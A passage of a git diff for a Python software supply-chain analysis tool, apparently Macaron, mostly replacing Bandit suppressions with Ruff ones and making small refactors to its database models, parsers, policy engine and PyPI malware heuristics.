autoincrement=True) # TODO: The unique constraint on PURL is set to False for now and we be turned on in future. #: The PURL column is for the benefit of Souffle to make it easy to query based on a PURL string. @@ -168,8 +168,8 @@ class Component(PackageURLMixin, ORMBase): #: The bidirectional many-to-many relationship for component dependencies. dependencies: Mapped[list["Component"]] = relationship( secondary=components_association_table, - primaryjoin=components_association_table.c.parent_component == id, - secondaryjoin=components_association_table.c.child_component == id, + primaryjoin=components_association_table.c.parent_component == id, # noqa: A003 + secondaryjoin=components_association_table.c.child_component == id, # noqa: A003 ) #: The optional one-to-one relationship with a provenance subject in case this @@ -270,7 +270,7 @@ class Repository(ORMBase): __tablename__ = "_repository" #: The primary key. - id: Mapped[int] = mapped_column(Integer, primary_key=True, autoincrement=True) # noqa: A003 + id: Mapped[int] = mapped_column(Integer, primary_key=True, autoincrement=True) # Because component is the parent table, we should define the foreign key here in the child table. #: The foreign key to the software component. @@ -286,7 +286,7 @@ class Repository(ORMBase): full_name: Mapped[str] = mapped_column(String, nullable=False) #: The PURL type. - type: Mapped[str] = mapped_column(String, nullable=False) # noqa: A003 + type: Mapped[str] = mapped_column(String, nullable=False) # TODO: for locally cloned repos, do we have both type and owner, or can they be null? #: The PURL namespace, which is the owner in pkg:github.com/owner/name@commit-sha. @@ -374,14 +374,15 @@ class SLSARequirement(ORMBase): # See https://alembic.sqlalchemy.org/en/latest/naming.html __table_args__ = (UniqueConstraint("component_id", "requirement_name", name="uq__slsa_requirement_component_id"),) - id: Mapped[int] = mapped_column(Integer, primary_key=True, autoincrement=True) # noqa: A003 + id: Mapped[int] = mapped_column(Integer, primary_key=True, autoincrement=True) #: The software component ID. component_id: Mapped[int] = mapped_column(Integer, ForeignKey("_component.id"), nullable=False) #: The unique SLSA requirement name. requirement_name: Mapped[Enum] = mapped_column( - Enum(*ReqName._member_names_), nullable=False # pylint: disable=protected-access,no-member + Enum(*ReqName._member_names_), # pylint: disable=protected-access,no-member + nullable=False, ) #: The short description of the SLSA requirement. @@ -407,7 +408,7 @@ class MappedCheckResult(ORMBase): __table_args__ = (UniqueConstraint("component_id", "check_id", name="uq__check_result_component_id"),) #: The primary key. - id: Mapped[int] = mapped_column( # noqa: A003 # pylint: disable=invalid-name + id: Mapped[int] = mapped_column( # pylint: disable=invalid-name Integer, primary_key=True, autoincrement=True ) @@ -439,7 +440,7 @@ class CheckFacts(ORMBase): __tablename__ = "_check_facts" #: The primary key. - id: Mapped[int] = mapped_column(Integer, primary_key=True, autoincrement=True) # noqa: A003 + id: Mapped[int] = mapped_column(Integer, primary_key=True, autoincrement=True) #: The confidence score to estimate the accuracy of the check fact. This value should be in the range [0.0, 1.0] with #: a lower value depicting a lower confidence. Because some analyses used in checks may use @@ -467,7 +468,7 @@ class CheckFacts(ORMBase): checkresult: Mapped["MappedCheckResult"] = relationship(back_populates="checkfacts") #: The polymorphic inheritance configuration. - __mapper_args__ = { + __mapper_args__ = { # noqa: RUF012 (https://github.com/astral-sh/ruff/issues/25392) "polymorphic_identity": "CheckFacts", "polymorphic_on": "check_type", } @@ -479,7 +480,7 @@ class Provenance(ORMBase): __tablename__ = "_provenance" #: The primary key. - id: Mapped[int] = mapped_column(Integer, primary_key=True, autoincrement=True) # noqa: A003 + id: Mapped[int] = mapped_column(Integer, primary_key=True, autoincrement=True) #: The foreign key to the software component. component_id: Mapped[int] = mapped_column(Integer, ForeignKey(Component.id), nullable=False) @@ -524,7 +525,7 @@ class ReleaseArtifact(ORMBase): __tablename__ = "_release_artifact" #: The primary key. - id: Mapped[int] = mapped_column(Integer, primary_key=True, autoincrement=True) # noqa: A003 + id: Mapped[int] = mapped_column(Integer, primary_key=True, autoincrement=True) #: The name of the artifact. name: Mapped[str] = mapped_column(String, nullable=False) @@ -548,7 +549,7 @@ class HashDigest(ORMBase): __tablename__ = "_hash_digest" #: The primary key. - id: Mapped[int] = mapped_column(Integer, primary_key=True, autoincrement=True) # noqa: A003 + id: Mapped[int] = mapped_column(Integer, primary_key=True, autoincrement=True) #: The hash digest value. digest: Mapped[str] = mapped_column(String, nullable=False) @@ -572,7 +573,7 @@ class ProvenanceSubject(ORMBase): __tablename__ = "_provenance_subject" #: The primary key. - id: Mapped[int] = mapped_column(Integer, primary_key=True, autoincrement=True) # noqa: A003 + id: Mapped[int] = mapped_column(Integer, primary_key=True, autoincrement=True) #: The component id of the provenance subject. component_id: Mapped[int] = mapped_column( @@ -637,7 +638,7 @@ class RepoFinderMetadata(ORMBase): __tablename__ = "_repo_finder_metadata" #: The primary key. - id: Mapped[int] = mapped_column(Integer, primary_key=True, autoincrement=True) # noqa: A003 + id: Mapped[int] = mapped_column(Integer, primary_key=True, autoincrement=True) #: The foreign key to the software component. component_id: Mapped[int] = mapped_column(Integer, ForeignKey(Component.id), nullable=False) @@ -647,12 +648,14 @@ class RepoFinderMetadata(ORMBase): #: The outcome of the Repo Finder. repo_finder_outcome: Mapped[Enum] = mapped_column( - Enum(RepoFinderInfo), nullable=False # pylint: disable=protected-access,no-member + Enum(RepoFinderInfo), + nullable=False, ) #: The outcome of the Commit Finder. commit_finder_outcome: Mapped[Enum] = mapped_column( - Enum(CommitFinderInfo), nullable=False # pylint: disable=protected-access,no-member + Enum(CommitFinderInfo), + nullable=False, ) #: The URL found by the Repo Finder (if applicable). diff --git a/src/macaron/database/views.py b/src/macaron/database/views.py index 0db99814a..d61637524 100644 --- a/src/macaron/database/views.py +++ b/src/macaron/database/views.py @@ -1,4 +1,4 @@ -# Copyright (c) 2023 - 2025, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2023 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. # pylint: skip-file @@ -41,7 +41,7 @@ def _create_view(element, comp, **kw): # type: ignore @compiler.compiles(DropView) def _drop_view(element, comp, **kw): # type: ignore - return "DROP VIEW %s" % (element.name) + return f"DROP VIEW {element.name}" def view_exists( @@ -82,8 +82,8 @@ def view_exists( bool Returns `True` if the view exists in the database, `False` otherwise. """ - if isinstance(ddl, CreateView) or isinstance(ddl, DropView): - assert isinstance(bind, Connection) + if isinstance(ddl, (CreateView, DropView)): + assert isinstance(bind, Connection) # noqa: S101 return ddl.name in sa.inspect(bind).get_view_names() return False diff --git a/src/macaron/dependency_analyzer/cyclonedx.py b/src/macaron/dependency_analyzer/cyclonedx.py index c46a8a773..dca401f92 100644 --- a/src/macaron/dependency_analyzer/cyclonedx.py +++ b/src/macaron/dependency_analyzer/cyclonedx.py @@ -1,4 +1,4 @@ -# Copyright (c) 2023 - 2025, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2023 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. """This module contains helper functions to process CycloneDX SBOM.""" @@ -6,7 +6,7 @@ import json import logging import os -import subprocess # nosec B404 +import subprocess from collections.abc import Iterable from pathlib import Path from typing import Any, TypedDict @@ -54,7 +54,7 @@ def deserialize_bom_json(file_path: Path) -> Bom: If the bom.json file cannot be located or deserialized. """ if not os.path.exists(file_path): - raise CycloneDXParserError(f"Unable to locate any BOM files at: {str(file_path.parent)}.") + raise CycloneDXParserError(f"Unable to locate any BOM files at: {file_path.parent!s}.") # We use the `cyclonedx-python-library` library for deserialization following the example here: # https://cyclonedx-python-library.readthedocs.io/en/v7.3.4/examples.html @@ -76,7 +76,7 @@ def deserialize_bom_json(file_path: Path) -> Bom: if validation_errors: logger.debug("BOM file is invalid: %s", repr(validation_errors)) - raise CycloneDXParserError(f"BOM file is invalid: {repr(validation_errors)}") + raise CycloneDXParserError(f"BOM file is invalid: {validation_errors!r}") logger.debug("Successfully validated the BOM file at %s", file_path) @@ -340,7 +340,6 @@ def resolve_dependencies(main_ctx: Any, sbom_path: str, recursive: bool = False) # Grab dependencies for each build tool, collate all into the deps_resolved. for build_tool in build_tools: - try: # We allow dependency analysis if SBOM is provided but no repository is found. dep_analyzer = build_tool.get_dep_analyzer() @@ -371,7 +370,7 @@ def resolve_dependencies(main_ctx: Any, sbom_path: str, recursive: bool = False) commands = dep_analyzer.get_cmd() try: # Suppressing Bandit's B603 report because the repo paths are validated. - analyzer_output = subprocess.run( # nosec B603 + analyzer_output = subprocess.run( # noqa: S603 commands, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, diff --git a/src/macaron/json_tools.py b/src/macaron/json_tools.py index df8126074..c586e0744 100644 --- a/src/macaron/json_tools.py +++ b/src/macaron/json_tools.py @@ -46,7 +46,7 @@ def json_extract(entry: dict | list, keys: Sequence[str | int], type_: type[T]) return None # If statement required for mypy to not complain. The else case can never happen because of the above if block. - if isinstance(entry, dict) and isinstance(key, str): + if isinstance(entry, dict) and isinstance(key, str): # noqa: SIM114 entry = entry[key] elif isinstance(entry, list) and isinstance(key, int): entry = entry[key] diff --git a/src/macaron/malware_analyzer/README.md b/src/macaron/malware_analyzer/README.md index facd7d987..8b1b3295f 100644 --- a/src/macaron/malware_analyzer/README.md +++ b/src/macaron/malware_analyzer/README.md @@ -95,7 +95,7 @@ When a heuristic fails, with `HeuristicResult.FAIL`, then that is an indicator b - **Rule**: If any Semgrep rule is triggered, the heuristic fails with `HeuristicResult.FAIL` and subsequently fails the package with `CheckResultType.FAILED`. If no rule is triggered, the heuristic passes with `HeuristicResult.PASS` and the `CheckResultType` result from the combination of all other heuristics is maintained. - **Dependency**: Will be run if the Source Code Repo fails. This dependency can be bypassed by supplying `--force-analyze-source` in the CLI. -This feature is currently a work in progress, and supports detection of code obfuscation techniques and remote exfiltration behaviors. It uses Semgrep OSS for detection. `defaults.ini` may be used to provide custom rules and exclude them: +This feature is currently a work in progress, and supports detection of code obfuscation techniques, remote exfiltration behaviors, and anti-analysis behaviours. It uses Semgrep OSS for detection. `defaults.ini` may be used to provide custom rules and exclude them: - `disabled_default_rulesets`: supply to this a comma separated list of the names of default Semgrep rule files (excluding the `.yaml` extension) to disable all rule IDs in that file. - `disabled_rules`: supply to this a comma separated list of individual rule IDs to disable (from both the default and custom list). - `custom_semgrep_rules`: supply to this an absolute path to a directory containing custom Semgrep `.yaml` files to be run alongside the default ones. diff --git a/src/macaron/malware_analyzer/pypi_heuristics/heuristics.py b/src/macaron/malware_analyzer/pypi_heuristics/heuristics.py index 9699066f6..7af805127 100644 --- a/src/macaron/malware_analyzer/pypi_heuristics/heuristics.py +++ b/src/macaron/malware_analyzer/pypi_heuristics/heuristics.py @@ -1,12 +1,12 @@ -# Copyright (c) 2024 - 2025, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2024 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. """Define the heuristic enum.""" -from enum import Enum +from enum import StrEnum -class Heuristics(str, Enum): +class Heuristics(StrEnum): """Seven heuristics for detecting suspicious pypi package.""" #: Indicates that the package does not contain any project links (such as documentation or Git repository pages). @@ -59,11 +59,11 @@ class Heuristics(str, Enum): STUB_NAME = "stub_name" -class HeuristicResult(str, Enum): +class HeuristicResult(StrEnum): """Result type indicating the outcome of a heuristic.""" #: Indicates that no suspicious activity was detected. - PASS = "PASS" # nosec B105 + PASS = "PASS" # noqa: S105 #: Indicates that suspicious activity was detected. FAIL = "FAIL" diff --git a/src/macaron/malware_analyzer/pypi_heuristics/metadata/anomalous_version.py b/src/macaron/malware_analyzer/pypi_heuristics/metadata/anomalous_version.py index c5fd8f790..b5add5f62 100644 --- a/src/macaron/malware_analyzer/pypi_heuristics/metadata/anomalous_version.py +++ b/src/macaron/malware_analyzer/pypi_heuristics/metadata/anomalous_version.py @@ -1,4 +1,4 @@ -# Copyright (c) 2024 - 2025, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2024 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. """The heuristic analyzer to check for an anomalous package version.""" @@ -58,7 +58,16 @@ class AnomalousVersionAnalyzer(BaseHeuristicAnalyzer): """ DETAIL_INFO_KEY: str = "versioning" - DIGIT_DATE_FORMATS: list[str] = ["%Y%m%d", "%Y%d%m", "%d%m%Y", "%m%d%Y", "%y%m%d", "%y%d%m", "%d%m%y", "%m%d%y"] + DIGIT_DATE_FORMATS: tuple[str, ...] = ( + "%Y%m%d", + "%Y%d%m", + "%d%m%Y", + "%m%d%Y", + "%y%m%d", + "%y%d%m", + "%d%m%y", + "%m%d%y", + ) def __init__(self) -> None: super().__init__( diff --git a/src/macaron/malware_analyzer/pypi_heuristics/metadata/fake_email.py b/src/macaron/malware_analyzer/pypi_heuristics/metadata/fake_email.py index 300629ae1..1e89786b4 100644 --- a/src/macaron/malware_analyzer/pypi_heuristics/metadata/fake_email.py +++ b/src/macaron/malware_analyzer/pypi_heuristics/metadata/fake_email.py @@ -1,4 +1,4 @@ -# Copyright (c) 2024 - 2025, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2024 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. """The heuristic analyzer to check the email address of the package maintainers.""" @@ -22,13 +22,13 @@ class FakeEmailAnalyzer(BaseHeuristicAnalyzer): """Analyze the email address of the package maintainers.""" PATTERN = re.compile( - r"""\b # word‑boundary - [A-Za-z0-9]+ # first alpha‑numeric segment + r"""\b # word-boundary + [A-Za-z0-9]+ # first alpha-numeric segment (?:\.[A-Za-z0-9]+)* # optional “.segment” repeats @ [A-Za-z0-9]+ # domain name segment - (?:\.[A-Za-z0-9]+)* # optional sub‑domains - \.[A-Za-z]{2,} # top‑level domain (at least 2 letters) + (?:\.[A-Za-z0-9]+)* # optional sub-domains + \.[A-Za-z]{2,} # top-level domain (at least 2 letters) \b""", re.VERBOSE, ) diff --git a/src/macaron/malware_analyzer/pypi_heuristics/metadata/type_stub_file.py b/src/macaron/malware_analyzer/pypi_heuristics/metadata/type_stub_file.py index b400f60cb..bcb4ad85a 100644 --- a/src/macaron/malware_analyzer/pypi_heuristics/metadata/type_stub_file.py +++ b/src/macaron/malware_analyzer/pypi_heuristics/metadata/type_stub_file.py @@ -1,4 +1,4 @@ -# Copyright (c) 2024 - 2025, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2024 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. """This analyzer checks if a PyPI package has minimal .pyi stub content.""" @@ -6,6 +6,7 @@ import logging import os +from macaron.errors import SourceCodeError from macaron.json_tools import JsonType from macaron.malware_analyzer.pypi_heuristics.base_analyzer import BaseHeuristicAnalyzer from macaron.malware_analyzer.pypi_heuristics.heuristics import HeuristicResult, Heuristics @@ -42,15 +43,15 @@ def analyze(self, pypi_package_json: PyPIPackageJsonAsset) -> tuple[HeuristicRes # TODO: .pyi stub files may be present in both source distributions (sdist) and wheels. # Currently, we only check the sdist, which can lead to false positives in this heuristic. # To improve accuracy, we should also check for stub files in the wheel distribution. - result = pypi_package_json.download_sourcecode() - if not result: + try: + with pypi_package_json.sourcecode(): + file_count = sum( + sum(1 for f in files if f.endswith(".pyi")) + for _, _, files in os.walk(pypi_package_json.package_sourcecode_path) + ) + except SourceCodeError: return HeuristicResult.SKIP, {"message": "No source code files have been downloaded.", "pyi_files": 0} - file_count = sum( - sum(1 for f in files if f.endswith(".pyi")) - for _, _, files in os.walk(pypi_package_json.package_sourcecode_path) - ) - if file_count >= self.FILES_THRESHOLD: return HeuristicResult.PASS, {"message": "Package has sufficient pyi files", "pyi_files": file_count} diff --git a/src/macaron/malware_analyzer/pypi_heuristics/metadata/typosquatting_presence.py b/src/macaron/malware_analyzer/pypi_heuristics/metadata/typosquatting_presence.py index 810d7523b..ad1877075 100644 --- a/src/macaron/malware_analyzer/pypi_heuristics/metadata/typosquatting_presence.py +++ b/src/macaron/malware_analyzer/pypi_heuristics/metadata/typosquatting_presence.py @@ -5,6 +5,7 @@ import logging import os +import types from macaron import MACARON_PATH from macaron.config.defaults import defaults @@ -20,45 +21,47 @@ class TyposquattingPresenceAnalyzer(BaseHeuristicAnalyzer): """Check whether the PyPI package has typosquatting presence.""" - KEYBOARD_LAYOUT = { - "1": (0, 0), - "2": (0, 1), - "3": (0, 2), - "4": (0, 3), - "5": (0, 4), - "6": (0, 5), - "7": (0, 6), - "8": (0, 7), - "9": (0, 8), - "0": (0, 9), - "-": (0, 10), - "q": (1, 0), - "w": (1, 1), - "e": (1, 2), - "r": (1, 3), - "t": (1, 4), - "y": (1, 5), - "u": (1, 6), - "i": (1, 7), - "o": (1, 8), - "p": (1, 9), - "a": (2, 0), - "s": (2, 1), - "d": (2, 2), - "f": (2, 3), - "g": (2, 4), - "h": (2, 5), - "j": (2, 6), - "k": (2, 7), - "l": (2, 8), - "z": (3, 0), - "x": (3, 1), - "c": (3, 2), - "v": (3, 3), - "b": (3, 4), - "n": (3, 5), - "m": (3, 6), - } + KEYBOARD_LAYOUT = types.MappingProxyType( + { + "1": (0, 0), + "2": (0, 1), + "3": (0, 2), + "4": (0, 3), + "5": (0, 4), + "6": (0, 5), + "7": (0, 6), + "8": (0, 7), + "9": (0, 8), + "0": (0, 9), + "-": (0, 10), + "q": (1, 0), + "w": (1, 1), + "e": (1, 2), + "r": (1, 3), + "t": (1, 4), + "y": (1, 5), + "u": (1, 6), + "i": (1, 7), + "o": (1, 8), + "p": (1, 9), + "a": (2, 0), + "s": (2, 1), + "d": (2, 2), + "f": (2, 3), + "g": (2, 4), + "h": (2, 5), + "j": (2, 6), + "k": (2, 7), + "l": (2, 8), + "z": (3, 0), + "x": (3, 1), + "c": (3, 2), + "v": (3, 3), + "b": (3, 4), + "n": (3, 5), + "m": (3, 6), + } + ) def __init__(self, popular_packages_path: str | None = None) -> None: super().__init__( diff --git a/src/macaron/malware_analyzer/pypi_heuristics/sourcecode/pypi_sourcecode_analyzer.py b/src/macaron/malware_analyzer/pypi_heuristics/sourcecode/pypi_sourcecode_analyzer.py index fd19ef981..613f3d253 100644 --- a/src/macaron/malware_analyzer/pypi_heuristics/sourcecode/pypi_sourcecode_analyzer.py +++ b/src/macaron/malware_analyzer/pypi_heuristics/sourcecode/pypi_sourcecode_analyzer.py @@ -1,4 +1,4 @@ -# Copyright (c) 2024 - 2025, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2024 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. """ @@ -11,7 +11,7 @@ import json import logging import os -import subprocess # nosec B404 +import subprocess import tempfile import yaml @@ -138,7 +138,7 @@ def _load_defaults(self, resources_path: str) -> tuple[str, str | None, set[str] custom_rule_path, ] try: - process = subprocess.run(semgrep_commands, check=True, capture_output=True) # nosec B603 + process = subprocess.run(semgrep_commands, check=True, capture_output=True) # noqa: S603 if process.returncode != 0: # Only a warning is used here, so that if running offline, the analysis can continue. Erroneous Semgrep files # will be picked up at analysis time in this case. @@ -301,18 +301,27 @@ def analyze(self, pypi_package_json: PyPIPackageJsonAsset) -> tuple[HeuristicRes with tempfile.NamedTemporaryFile(mode="w+", delete=True) as output_json_file: semgrep_commands.append(f"--json-output={output_json_file.name}") - logger.debug("executing: %s.", semgrep_commands) + print_command = " ".join(semgrep_commands) + logger.debug("executing: %s.", print_command) try: - process = subprocess.run(semgrep_commands, check=True, capture_output=True) # nosec B603 - except (subprocess.CalledProcessError, subprocess.TimeoutExpired) as semgrep_error: - error_msg = ( - f"Unable to run semgrep on {source_code_path} with argument(s) {semgrep_commands}: {semgrep_error}" - ) + process = subprocess.run(semgrep_commands, check=True, capture_output=True) # noqa: S603 + except subprocess.CalledProcessError as semgrep_error: + error_msg = f"""Unable to run {print_command} on {source_code_path}: {semgrep_error} + Return code: {semgrep_error.returncode} + stdout: {semgrep_error.stdout.decode() if semgrep_error.stdout else ""} + stderr: {semgrep_error.stderr.decode() if semgrep_error.stderr else ""} + """ logger.debug(error_msg) raise HeuristicAnalyzerValueError(error_msg) from semgrep_error + except subprocess.TimeoutExpired as timeout_error: + error_msg = f""" + Subprocess timeout running {print_command} on {source_code_path}: {timeout_error} + """ + logger.debug(error_msg) + raise HeuristicAnalyzerValueError(error_msg) from timeout_error if process.returncode != 0: - error_msg = f"Error running semgrep on {source_code_path} with argument(s)" f" {process.args}" + error_msg = f"Error running semgrep on {source_code_path} with argument(s) {process.args}" logger.debug(error_msg) raise HeuristicAnalyzerValueError(error_msg) diff --git a/src/macaron/output_reporter/jinja2_extensions.py b/src/macaron/output_reporter/jinja2_extensions.py index 76848a086..3e36d95eb 100644 --- a/src/macaron/output_reporter/jinja2_extensions.py +++ b/src/macaron/output_reporter/jinja2_extensions.py @@ -1,4 +1,4 @@ -# Copyright (c) 2022 - 2023, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2022 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. """This module contains the Jinja2 extension filters and tests. @@ -118,12 +118,13 @@ def j2_filter_get_flatten_dict(data: Any, has_key: bool = False) -> dict | Any: Examples -------- >>> j2_filter_get_flatten_dict( - ... { - ... "A": [1, 2, 3], - ... "B": { - ... "C": ["blah", "bar", "foo"], - ... }, - ... }) + ... { + ... "A": [1, 2, 3], + ... "B": { + ... "C": ["blah", "bar", "foo"], + ... }, + ... } + ... ) {'A': {0: 1, 1: 2, 2: 3}, 'B': {'C': {0: 'blah', 1: 'bar', 2: 'foo'}}} """ if isinstance(data, (str, int, bool, float)): diff --git a/src/macaron/output_reporter/results.py b/src/macaron/output_reporter/results.py index f2e86dcba..691c562f3 100644 --- a/src/macaron/output_reporter/results.py +++ b/src/macaron/output_reporter/results.py @@ -162,8 +162,7 @@ def get_dep_summary(self) -> DepSummary: analyzed_deps=0, unique_dep_repos=0, checks_summary=[ - {"check_id": check_id, "num_deps_pass": 0} # nosec B105 - for check_id in registry.get_all_checks_mapping() + {"check_id": check_id, "num_deps_pass": 0} for check_id in registry.get_all_checks_mapping() ], dep_status=[dep.get_summary() for dep in self.dependencies], ) diff --git a/src/macaron/output_reporter/scm.py b/src/macaron/output_reporter/scm.py index c090a95f2..6e1a3bc06 100644 --- a/src/macaron/output_reporter/scm.py +++ b/src/macaron/output_reporter/scm.py @@ -1,12 +1,12 @@ -# Copyright (c) 2023 - 2023, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2023 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. """This module implements datatypes to represent SCM results.""" -from enum import Enum +from enum import StrEnum -class SCMStatus(str, Enum): +class SCMStatus(StrEnum): """The status type of each analyzed repository.""" AVAILABLE = "AVAILABLE" diff --git a/src/macaron/parsers/bashparser.py b/src/macaron/parsers/bashparser.py index 2b8de426a..5fa3ec704 100644 --- a/src/macaron/parsers/bashparser.py +++ b/src/macaron/parsers/bashparser.py @@ -12,7 +12,7 @@ import json import logging import os -import subprocess # nosec B404 +import subprocess from typing import cast from macaron.config.defaults import defaults @@ -84,7 +84,7 @@ def parse(bash_content: str, macaron_path: str | None = None) -> dict: ] try: - result = subprocess.run( # nosec B603 + result = subprocess.run( # noqa: S603 cmd, capture_output=True, check=True, @@ -138,7 +138,7 @@ def parse_raw(bash_content: str, macaron_path: str | None = None) -> File: ] try: - result = subprocess.run( # nosec B603 + result = subprocess.run( # noqa: S603 cmd, capture_output=True, check=True, @@ -194,7 +194,7 @@ def parse_raw_with_gha_mapping(bash_content: str, macaron_path: str | None = Non ] try: - result = subprocess.run( # nosec B603 + result = subprocess.run( # noqa: S603 cmd, capture_output=True, check=True, @@ -258,7 +258,7 @@ def parse_expr(bash_expr_content: str, macaron_path: str | None = None) -> list[ bash_expr_content, ] try: - result = subprocess.run( # nosec B603 + result = subprocess.run( # noqa: S603 cmd, capture_output=True, check=True, diff --git a/src/macaron/parsers/pomparser.py b/src/macaron/parsers/pomparser.py index 9fd626648..6b14eabed 100644 --- a/src/macaron/parsers/pomparser.py +++ b/src/macaron/parsers/pomparser.py @@ -6,7 +6,7 @@ import logging import os from pathlib import Path -from xml.etree.ElementTree import Element # nosec B405 +from xml.etree.ElementTree import Element import defusedxml.ElementTree from defusedxml import DefusedXmlException diff --git a/src/macaron/policy_engine/policy_engine.py b/src/macaron/policy_engine/policy_engine.py index e815d48f4..fc9aaa0d4 100644 --- a/src/macaron/policy_engine/policy_engine.py +++ b/src/macaron/policy_engine/policy_engine.py @@ -1,4 +1,4 @@ -# Copyright (c) 2023 - 2025, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2023 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. """This module handles invoking the souffle policy engine on a database.""" @@ -46,17 +46,20 @@ def get_generated(database_path: os.PathLike | str) -> SouffleProgram: metadata = MetaData() engine = create_engine(f"sqlite:///{database_path}", echo=False) - metadata.reflect(engine) + try: + metadata.reflect(engine) - prelude = get_souffle_import_prelude(os.path.abspath(database_path), metadata) + prelude = get_souffle_import_prelude(os.path.abspath(database_path), metadata) - for table_name in metadata.tables.keys(): - table = metadata.tables[table_name] - if table_name[0] == "_": - prelude.update(project_table_to_key(f"{table_name[1:]}_attribute", table)) - prelude.update(project_with_fk_join(table)) + for table_name in metadata.tables: + table = metadata.tables[table_name] + if table_name[0] == "_": + prelude.update(project_table_to_key(f"{table_name[1:]}_attribute", table)) + prelude.update(project_with_fk_join(table)) - return prelude + return prelude + finally: + engine.dispose() def copy_prelude( @@ -130,18 +133,16 @@ def _check_version(database_path: str) -> None: The path to the macaron database """ engine = create_engine(f"sqlite:///{database_path}", echo=False) - - with engine.connect() as conn: - versions = conn.execute( - select(Analysis.macaron_version).where(Analysis.macaron_version != mcn_version) - ).scalar() - if versions is not None: - logger.error("Database generated with unsupported versions (%s).", versions) - logger.error( - "Only databases generated by Macaron version %s are supported.", - mcn_version, - ) - sys.exit(os.EX_DATAERR) + try: + with engine.connect() as conn: + versions = conn.execute( + select(Analysis.macaron_version).where(Analysis.macaron_version != mcn_version) + ).scalar() + if versions is not None: + logger.error("Database generated with unsupported versions (%s).", versions) + sys.exit(os.EX_DATAERR) + finally: + engine.dispose() def show_prelude(database_path: str) -> None: diff --git a/src/macaron/policy_engine/souffle.py b/src/macaron/policy_engine/souffle.py index cfec4e6af..d6ea482da 100644 --- a/src/macaron/policy_engine/souffle.py +++ b/src/macaron/policy_engine/souffle.py @@ -12,8 +12,9 @@ import logging import os import shutil -import subprocess # nosec B404 +import subprocess import tempfile +import typing from types import TracebackType logger: logging.Logger = logging.getLogger(__name__) @@ -119,9 +120,10 @@ def _invoke_souffle(self, source_file: str, additional_args: list[str] | None = f"--output-dir={self.output_dir}", f"--fact-dir={self.fact_dir}", f"--library-dir={self.library_dir}", - ] + additional_args + *additional_args, + ] logger.debug("Executing souffle: %s", " ".join(cmd)) - result = subprocess.run(cmd, shell=False, capture_output=True, cwd=self.temp_dir, check=False) # nosec B603 + result = subprocess.run(cmd, shell=False, capture_output=True, cwd=self.temp_dir, check=False) # noqa: S603 # Souffle doesn't exit with non-zero when the datalog program contains errors, but check anyway. self.souffle_stderr = result.stderr.decode("utf-8") logger.debug("Souffle stdout: \n%s", result.stdout.decode("utf-8")) @@ -187,7 +189,7 @@ def load_csv_output(self) -> dict: result[file_name[0 : file_name.rfind(".")]] = list(reader) return result - def __enter__(self) -> "SouffleWrapper": + def __enter__(self) -> typing.Self: return self def __exit__( diff --git a/src/macaron/policy_engine/souffle_code_generator.py b/src/macaron/policy_engine/souffle_code_generator.py index b768ba5a7..881730152 100644 --- a/src/macaron/policy_engine/souffle_code_generator.py +++ b/src/macaron/policy_engine/souffle_code_generator.py @@ -1,4 +1,4 @@ -# Copyright (c) 2023 - 2024, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2023 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. """Generate souffle datalog for policy prelude.""" @@ -102,8 +102,10 @@ def table_to_declaration(table: Table) -> str: >>> from sqlalchemy import Column, MetaData, Table >>> from sqlalchemy.sql.sqltypes import Boolean, Integer, String, Text >>> metadata = MetaData() - >>> tbl = Table("_example", metadata, Column("id", Integer, nullable=False), Column("hello", String)) - >>> assert table_to_declaration(tbl) == '.decl example (id: number, hello: symbol)' + >>> tbl = Table( + ... "_example", metadata, Column("id", Integer, nullable=False), Column("hello", String) + ... ) + >>> assert table_to_declaration(tbl) == ".decl example (id: number, hello: symbol)" Parameters ---------- @@ -162,7 +164,7 @@ def get_fact_input_statements(db_name: os.PathLike | str, metadata: MetaData) -> return SouffleProgram( directives={ f'.input {table_name[1:]} (IO=sqlite, filename="{db_name}")' - for table_name in metadata.tables.keys() + for table_name in metadata.tables if table_name[0] == "_" } ) diff --git a/src/macaron/provenance/provenance_extractor.py b/src/macaron/provenance/provenance_extractor.py index b4003b0d0..0ebb91832 100644 --- a/src/macaron/provenance/provenance_extractor.py +++ b/src/macaron/provenance/provenance_extractor.py @@ -13,7 +13,7 @@ from macaron.json_tools import JsonType, json_extract from macaron.repo_finder import to_domain_from_known_purl_types from macaron.repo_finder.commit_finder import AbstractPurlType, determine_abstract_purl_type -from macaron.slsa_analyzer.provenance.intoto import InTotoPayload, InTotoV1Payload, InTotoV01Payload +from macaron.slsa_analyzer.provenance.intoto import InTotoPayload, InTotoV01Payload, InTotoV1Payload from macaron.slsa_analyzer.provenance.intoto.v01 